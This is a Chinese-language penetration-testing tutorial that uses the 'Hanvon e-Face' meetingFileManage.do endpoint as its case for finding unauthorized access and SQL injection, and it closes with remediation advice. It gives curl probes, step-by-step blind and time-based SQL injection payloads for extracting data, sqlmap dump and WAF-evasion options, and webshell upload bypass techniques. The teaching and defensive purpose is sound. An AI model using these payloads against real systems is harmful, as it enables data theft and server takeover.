企业应用安全实战：从接口未授权访问到SQL注入的排查与修复

1. 项目概述：从“汉王e脸通”漏洞标题说起

最近在安全圈里，一个关于“汉王e脸通”的漏洞分析标题引起了我的注意。标题里提到了两个关键点：meetingFileManage.do接口的未授权访问风险，以及与之相关的SQL注入漏洞。这其实是一个非常典型的“组合拳”式漏洞场景，在不少企业级应用，尤其是那些历史包袱比较重的OA、门禁、考勤系统中并不少见。我花了些时间，基于这个线索进行了一次完整的漏洞排查与验证实战，整个过程就像一次标准的安全审计，从信息收集到漏洞验证，再到风险定级。今天，我就把这个过程拆解开来，手把手分享给你。无论你是刚入门的安全爱好者，还是想提升实战能力的渗透测试工程师，这篇内容都能给你提供一个清晰的排查思路和实操参考。我们不光要找到漏洞，更要理解漏洞为什么会产生，以及如何系统性地发现这类问题。

2. 目标分析与信息收集策略

2.1 理解“汉王e脸通”及其典型架构

“汉王e脸通”从名字上看，很可能是一款集成了人脸识别功能的门禁、考勤或会议管理系统。这类系统通常采用B/S架构，后端使用Java（常见Spring MVC/Struts2框架）或PHP开发，前端通过浏览器访问。.do后缀的接口强烈暗示它可能使用了Struts2框架，或者是某种自定义的MVC框架，将.do作为动作请求的标识。meetingFileManage.do这个接口名直译为“会议文件管理”，功能上很可能涉及会议相关附件的上传、下载、列表查看、删除等操作。这类功能点往往是安全问题的重灾区，因为它同时涉及文件操作、权限校验和数据库交互。

在开始动手之前，我们需要先尽可能多地收集目标信息。假设我们拥有一个合法的测试环境（例如公司内部测试服务器、授权的渗透测试靶场），我们的第一步就是进行指纹识别。

2.2 多维度信息收集实战

信息收集不是漫无目的地扫描，而是有策略地勾勒出目标的应用轮廓。

1. 基础指纹识别：使用工具如WhatWeb、Wappalyzer（浏览器插件）或nmap的脚本，快速识别Web服务器（如Nginx/Apache/Tomcat）、后端语言（JSP/PHP）、前端框架等。对于Java应用，特别注意是否有JSESSIONID这样的Cookie，以及错误页面是否暴露了Tomcat、Spring Boot等信息。

2. 目录与接口探测：这是发现meetingFileManage.do这类接口的关键。我会使用dirsearch、gobuster或ffuf等工具，搭配一个强大的字典。字典需要专门包含针对Java应用的常见路径，如：

• /api/*
• /*.do
• /*.action
• /*.jsp
• /servlet/*
• /manager/*(Tomcat管理后台，但通常有认证) 同时，也要关注可能存在的备份文件、配置文件，如.git/目录、WEB-INF/web.xml泄露、*.bak文件等。

3. 前端代码分析：直接访问系统，通过浏览器开发者工具（F12）查看“网络”请求，可以直观地看到页面加载过程中请求了哪些API接口，其中就可能包含.do接口。查看JavaScript文件，有时能找到完整的接口路径甚至参数结构。这就是标题中meetingFileManage.do这个接口名最可能的来源之一——要么是扫描发现的，要么是JS文件里暴露的。

注意：在真实授权测试中，所有扫描动作应控制频率，避免对生产系统造成压力。使用--delay参数设置请求间隔是基本素养。

3. 未授权访问漏洞的排查与验证

3.1 什么是“未授权访问”？

未授权访问漏洞的本质是“权限校验缺失”。系统没有对用户的访问请求进行有效的身份认证（你是谁？）和授权检查（你有权做这个吗？）。对于meetingFileManage.do接口，正常流程应该是：用户登录后，携带有效的会话Cookie或Token来访问该接口，进行文件管理操作。如果攻击者在不登录、不提供任何有效凭证的情况下，直接访问该接口并能执行操作（如列出文件、上传文件），这就是典型的未授权访问。

3.2 手工验证未授权访问

假设我们已经通过信息收集，确定了接口完整URL为：http://target.com/eFace/meetingFileManage.do。

验证步骤：

1. 清除会话状态：打开一个全新的浏览器会话（或无痕模式），确保不携带任何该系统的Cookie。

2. 直接访问：在地址栏直接输入上述URL并访问。

3. 观察响应：

   • 最坏情况：页面返回了正常的文件列表JSON数据或HTML页面，或者出现了文件上传界面。这直接证实了未授权访问。
   • 常见情况：返回HTTP状态码302重定向到登录页，或返回401 Unauthorized、403 Forbidden。这通常意味着有校验。
   • 需要深究的情况：返回200 OK，但内容是空值、错误信息（如“参数错误”）或看似无意义的乱码。这不能立即断定，需要进一步测试接口功能。

4. 测试功能参数：如果直接访问返回200但内容不明，尝试添加功能参数。通过分析同类系统或猜测，常见参数可能有：

   • action=list或method=query(列出文件)
   • action=upload(上传，需要配合POST请求和文件体)
   • id=1(下载或删除指定ID的文件) 例如尝试访问：http://target.com/eFace/meetingFileManage.do?action=list观察是否返回了敏感数据（如会议记录、内部文件列表）。

使用工具辅助验证：可以使用Burp Suite的Repeater模块或curl命令进行更灵活的测试。

# 测试未授权列表功能 curl -v "http://target.com/eFace/meetingFileManage.do?action=list" # 测试未授权下载功能 (假设文件ID为10) curl -v "http://target.com/eFace/meetingFileManage.do?action=download&fileId=10" -o test.file

如果这些命令在没有Cookie的情况下成功获取到了数据或文件，漏洞即存在。

实操心得：很多系统的权限校验依赖于前端菜单渲染或按钮隐藏，后端接口的校验逻辑可能不完整。因此，直接绕过前端访问后端API是发现未授权漏洞的核心方法。对于.do、.action接口，要特别注意Struts2的默认配置可能导致的权限问题。

3.3 未授权访问的潜在风险

一旦确认meetingFileManage.do存在未授权访问，其风险等级需要根据功能来定：

• 未授权文件列表/下载：导致敏感信息泄露（会议纪要、内部文件）。
• 未授权文件上传：风险极高！攻击者可能上传WebShell，从而获取服务器控制权。即使有文件类型检查，也可能存在绕过方式。
• 未授权文件删除：导致业务数据丢失，造成服务中断。

4. SQL注入漏洞的深度挖掘与利用

4.1 从接口功能推测注入点

meetingFileManage.do作为文件管理接口，其数据库操作很可能围绕“文件”这个实体。常见的SQL操作场景包括：

• 查询（SELECT）：根据会议ID、文件名、上传者、时间等条件查询文件列表。
• 插入（INSERT）：上传文件时，向数据库插入文件记录（文件名、路径、大小、上传者ID等）。
• 更新（UPDATE）：可能用于重命名文件、更新文件状态。
• 删除（DELETE）：根据文件ID删除记录。

对应的HTTP参数可能就是注入点，例如：

• meetingId：查询某次会议的所有文件。
• fileName：按文件名模糊查询。
• fileId：下载或删除指定文件。
• uploadUserId：查询某用户上传的文件。
• page,rows：分页参数。

4.2 手工注入测试流程

我们以最常见的fileId参数为例，假设接口为：http://target.com/eFace/meetingFileManage.do?action=download&fileId=123

第一步：探测注入类型与闭合方式尝试添加单引号'，观察响应变化。

fileId=123'

• 如果页面返回数据库错误信息（如MySQL的“You have an error in your SQL syntax”），说明参数被直接拼接到SQL语句中，且可能存在注入。
• 如果页面显示“文件不存在”或正常下载，则可能被正确处理或过滤。

第二步：判断闭合方式与注入类型如果报错，我们需要判断闭合方式。常见的有数字型、单引号字符型、双引号字符型等。

fileId=123 and 1=1 --+ fileId=123 and 1=2 --+ fileId=123' and '1'='1 fileId=123' and '1'='2

通过对比and 1=1（真）和and 1=2（假）时页面的响应差异（如文件能否下载、返回内容长度是否不同），可以判断是否存在布尔盲注。--+是MySQL的注释符，用于注释掉后面的SQL代码。

第三步：信息获取（以MySQL为例，假设为字符型注入）假设闭合方式是单引号，且存在布尔盲注。

1. 获取当前数据库名：

   fileId=123' and length(database())>=1 --+ （判断库名长度） fileId=123' and substr(database(),1,1)='a' --+ （逐位猜解库名）

2. 获取表名：

   fileId=123' and (select count(table_name) from information_schema.tables where table_schema=database())>=1 --+ fileId=123' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' --+

   猜测与文件相关的表名可能为meeting_file、attach_file、sys_file等。
3. 获取列名：

   fileId=123' and (select column_name from information_schema.columns where table_name='meeting_file' limit 0,1)='id' --+

   关注file_path、real_name、save_name、upload_user_id等敏感列。
4. 拖取数据：

   fileId=123' and substr((select concat(file_path,':',real_name) from meeting_file limit 0,1),1,1)='/' --+

   可以获取文件在服务器上的存储路径和真实文件名，结合未授权访问，可能直接构成严重漏洞链。

4.3 使用Sqlmap进行自动化验证

手工注入能加深理解，但效率低。在确认存在注入迹象后，可以使用sqlmap进行自动化利用，但务必在授权环境下进行。

基本命令：

sqlmap -u "http://target.com/eFace/meetingFileManage.do?action=download&fileId=123" --batch

• --batch：自动选择默认选项。
• 如果参数需要Cookie，添加--cookie="JSESSIONID=xxx"
• 如果是POST请求，使用-r request.txt文件（从Burp Suite复制原始请求）

进阶参数：

• --dbms=mysql：指定数据库类型，加速检测。
• --current-db：获取当前数据库名。
• -D database_name --tables：列出指定数据库的所有表。
• -D database_name -T table_name --columns：列出指定表的所有列。
• -D database_name -T table_name -C column1,column2 --dump：拖取指定列的数据。

注意事项：Sqlmap的流量特征明显，在WAF（Web应用防火墙）或IDS（入侵检测系统）面前容易被拦截。在实际测试中，可能需要使用--tamper脚本（如space2comment）对payload进行混淆，或降低请求频率(--delay)。

5. 漏洞组合利用与深度利用场景

5.1 未授权访问 + SQL注入的连锁反应

单独一个未授权访问或SQL注入危害已经不小，但两者结合可能产生“1+1>2”的效果。

场景一：无接触信息泄露攻击者无需登录，通过未授权访问直接调用存在SQL注入的接口。例如，构造meetingFileManage.do?action=list&meetingId=1' and ... --+，即可在未授权的情况下，通过盲注手段窃取数据库中的所有会议文件信息、用户信息，甚至管理员密码哈希。

场景二：通往RCE（远程代码执行）的路径如果通过SQL注入，结合LOAD_FILE或INTO OUTFILE等函数（需特定权限），攻击者可能读取服务器上的敏感文件（如/etc/passwd、应用配置文件），或写入一个WebShell文件到Web目录。如果同时存在未授权文件上传，甚至可以直接上传WebShell，利用SQL注入获取的路径信息，实现精准打击。

5.2 针对文件上传功能的深入测试

如果meetingFileManage.do的action=upload功能也存在未授权或权限绕过，那么文件上传漏洞本身就是一个独立且高危的漏洞。测试点包括：

1. 前端校验绕过：直接使用Burp Suite拦截修改上传请求，绕过JavaScript校验。
2. 文件类型绕过：
   • 修改Content-Type为image/jpeg。
   • 制作图片马（将WebShell代码嵌入图片EXIF信息）。
   • 利用双扩展名（如shell.php.jpg），如果系统仅按最后一个扩展名校验。
   • 利用空字节截断（如shell.php%00.jpg），在某些老旧系统中有效。
3. 解析漏洞利用：针对特定服务器（如IIS的*.asp;.jpg解析漏洞，Apache的多扩展名解析特性）。
4. 内容校验绕过：如果系统检查文件头，则需要在WebShell内容前添加合法的文件头（如GIF89a）。

6. 漏洞修复建议与安全开发规范

6.1 针对已发现漏洞的紧急修复

1. 未授权访问修复：

   • 强制身份认证：在所有需要权限的接口（尤其是*.do,*.action）的入口处，添加统一的权限拦截器（Interceptor或Filter），校验Session或Token的有效性。
   • 最小权限原则：即使认证通过，也要根据用户角色，校验其是否有权执行当前操作（如删除文件是否属于自己）。
   • 默认拒绝：对不明确的访问请求，默认返回403 Forbidden而非302到登录页（避免暴露接口存在性）。

2. SQL注入修复：

   • 使用预编译语句（PreparedStatement）：这是根治SQL注入的唯一标准方法。确保所有数据库操作，包括查询、更新、删除，都使用PreparedStatement，并将用户输入作为参数绑定，而非字符串拼接。
   • 使用安全的ORM框架：如MyBatis时，务必使用#{}参数语法，禁止使用${}进行字符串拼接。
   • 严格的输入验证：在业务逻辑层，对输入参数进行严格的类型、长度、格式校验（如fileId必须是正整数）。
   • 最小化数据库权限：连接数据库的应用程序账号，只赋予其必需的最小权限（如只有SELECT、INSERT，没有DROP、FILE权限）。

6.2 建立长期安全防护机制

1. 安全开发生命周期（SDL）：将安全考虑嵌入需求、设计、编码、测试、部署全流程。
2. 定期安全审计与渗透测试：对系统，特别是老旧系统，进行定期的代码审计和黑盒渗透测试。
3. 部署WAF：作为一道防线，可以拦截常见的SQL注入、未授权访问等攻击请求。
4. 日志审计与监控：详细记录所有访问日志，特别是对敏感接口的访问，设置异常访问告警（如短时间内大量未授权访问meetingFileManage.do）。

7. 实战排查中的常见问题与技巧实录

在这次的排查模拟和以往的经验中，我总结了一些容易踩坑的地方和实用技巧。

问题1：页面没有明显错误回显，如何判断注入？这是盲注的典型场景。除了布尔盲注，还可以尝试时间盲注。

fileId=123' and sleep(5) --+

如果页面响应延迟了大约5秒，说明sleep()函数被执行，存在时间盲注。此时，sqlmap的--technique=T参数就派上用场了。

问题2：使用Sqlmap跑不出来，但手工测试有感觉。可能原因：

• WAF拦截：使用--tamper参数尝试绕过，或使用--random-agent伪装User-Agent，设置--delay降低请求频率。
• Token/CSRF防护：某些接口需要携带动态的CSRF Token。需要先用脚本或手动获取Token，再带入sqlmap的请求中（使用--csrf-token和--csrf-url参数）。
• 参数格式复杂：参数可能是JSON格式或经过编码。最好将完整的POST请求保存为文件，用-r参数让sqlmap去解析。

技巧：如何快速定位类似*.do的未授权接口？除了目录扫描，一个高效的方法是分析前端JS。使用浏览器开发者工具，在“源代码”或“网络”选项卡中搜索关键词，如api、do、action、url:、load(。经常能找到硬编码在JS里的接口路径和参数名。对于打包的JS，如果存在Source Map文件泄露（这是另一个常见漏洞），甚至可以直接还原出清晰的源代码和接口定义。

技巧：利用错误信息辅助判断即使页面不显示详细错误，有时HTTP状态码或微小的响应差异也能提供线索。比如，一个正常的fileId=123返回200，而fileId=123'返回500内部服务器错误，这强烈暗示存在语法错误。使用Burp Suite的Comparer工具对比两次响应的差异，有时能发现隐藏的错误信息。

排查这类漏洞，耐心和细心是关键。每一个参数都值得测试，每一个异常响应都值得深究。从汉王e脸通的meetingFileManage.do出发，我们实际上演练了一套针对Web应用常见漏洞的排查方法论。这套方法不仅适用于这个特定系统，也适用于绝大多数基于B/S架构的企业应用。真正的安全能力，就体现在这种从一点线索，系统性地推演出整个攻击面，并完成验证的思考与执行过程中。